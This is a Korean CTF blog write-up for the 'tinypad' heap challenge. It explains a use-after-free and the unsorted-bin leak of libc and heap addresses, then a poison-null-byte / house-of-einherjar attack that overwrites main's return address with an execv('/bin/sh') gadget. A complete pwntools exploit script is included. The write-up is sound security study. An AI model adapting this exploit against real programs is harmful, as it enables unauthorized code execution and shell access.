총 4개까지 저장할 수 있는 notepad기능을 하는 바이너리이고
bss 영역의 tinypad라는 배열에 저장을 하는데
구조는 다음과 같다
tinypad
0x00 <- edit : *malloc
0x100 size(8) (256>=size>=1)
*malloc(size)(8)
0x110
0x120
0x130
tinypad에서 노트의 내용을 출력할때는
malloc주소가 들어간 위치가 null바이트인지 확인하고 null byte가 아니면 출력하지만
노트를 delete할때는 그부분에 null바이트로 채워주지 않는다
여기서 uaf가 발생하는데
unsorted bin을 이용해서 libc주소가 출력되게 해보자
small bin을 4개 할당한후
3번을 먼저 free하면 3->fd,bk는 mainarena+88을 가리키게 된다(libc)
그후 1번을 free하면 unlink에 의해 1->fd가 3번을 가리키게 되서 heap도 leak이 가능하다
그다음 poison of nullbyte(house_of_einherjar)로 stack leak(libc_argv나 libc_environ 이용)과 overwrite가 가능한데
stack의 main의 ret자리에
execv('/bin/sh')하는 libc의 주소를 넣으면 된다.
fake chunk를 만들어 줄때는 병합을 막기위해 prev_inuse=1로 만들어주는 것과
fake bin을 다시 malloc할때 메모리공간을 남겨서 그부분이 병합되지 않게 fake bin과 같은 size로 malloc해주는 것에 유의해야한다.
ex.py
from pwn import * import time p=process('/hee/tinypad') raw_input() def add(len,memo): p.sendline('A') p.recvuntil('(SIZE)>>>') p.sendline(str(len)) p.recvuntil('(CONTENT)>>>') p.sendline(memo) time.sleep(0.2) def fdel(index): p.sendline('D') p.recvuntil('(INDEX)>>>') p.sendline(str(index)) time.sleep(0.2) def edit(index,content): p.sendline('E') p.recvuntil('(INDEX)>>>') p.sendline(str(index)) p.recvuntil('(CONTENT)>>>') p.sendline(content) p.recvuntil('(Y/n)') p.sendline('Y') time.sleep(0.1) def show(): p.recvuntil('CONTENT: ') print "1\n",p.recvuntil('+'),"------------" p.recvuntil('CONTENT: ') print "2\n",p.recvuntil('+'),"------------" p.recvuntil('CONTENT: ') print "3\n",p.recvuntil('+'),"------------" p.recvuntil('CONTENT: ') print "4\n",p.recvuntil('+'),"------------" tinypad=0x602040 c='A'*0xe8+p64(0x50|0b001)+"B"*0x50 add(256,'Z'*0x100) edit(1,c) fdel(1) add(200,'A') add(200,'B') add(200,'C') add(200,'D') fdel(3) fdel(1) #p.recvuntil('-----') #p.interactive() p.recvuntil('CONTENT: ') leak1=u64(p.recv(4).ljust(8,'\x00')) heap=leak1-0x1a0 print "heap leak : ",hex(heap) p.recvuntil('CONTENT: ') p.recvuntil('CONTENT: ') leak2=u64(p.recv(6).ljust(8,'\x00')) libc=leak2-0x203b58-2093056+0x200000-0x1000-0x195000 environ=libc+3780408 exec_comm=libc+878725 print "libc leak : ",hex(libc) print "environ leak : ",hex(environ) print "exec_comm : ",hex(exec_comm) fdel(2) fdel(4) ######### poison_null_byte ##################### add(136,'A'*136) #1 0x88 add(256,'B'*256) #2 0x100 add(128,'C'*100) #3 0x80 #show() fdel(2) edit(1,'3'*136) #null byte overflow #show() add(128,'b1') #2 0x80 add(64,'b2') #4 0x40 fdel(2) fdel(3) #consolidate with b1 fdel(4) #b2 free print "check!" overwriteb2="F"*128+p64(0)+p64(0x50|0b001)+p64(0x602120)+p64(0) add(len(overwriteb2),overwriteb2) #0x100,2 add(64,'C'*0x40) #3 fake='A'*0x10+p64(100)+p64(environ)+p64(0x88)+p64(0x602148)+2*p64(0)+p64(0x88) add(len(fake),fake) #4 p.recvuntil('CONTENT: ') leak3=u64(p.recv(6).ljust(8,'\x00')) #addr environ(stack) ret=leak3-240 print "stack main ret : ",hex(ret) edit(2,p64(ret)) edit(1,p64(exec_comm)) p.interactive()
'CTF' 카테고리의 다른 글
[HITCON2014]stkof (0) | 2017.02.07 |
---|---|
[codegate2016]bugbug (0) | 2017.02.02 |
[HITCON CTF Qual 2016]house of orange (0) | 2017.01.18 |
[christmas ctf]house of daehee (0) | 2017.01.17 |
[9447-ctf-2015] search 230pt (0) | 2017.01.08 |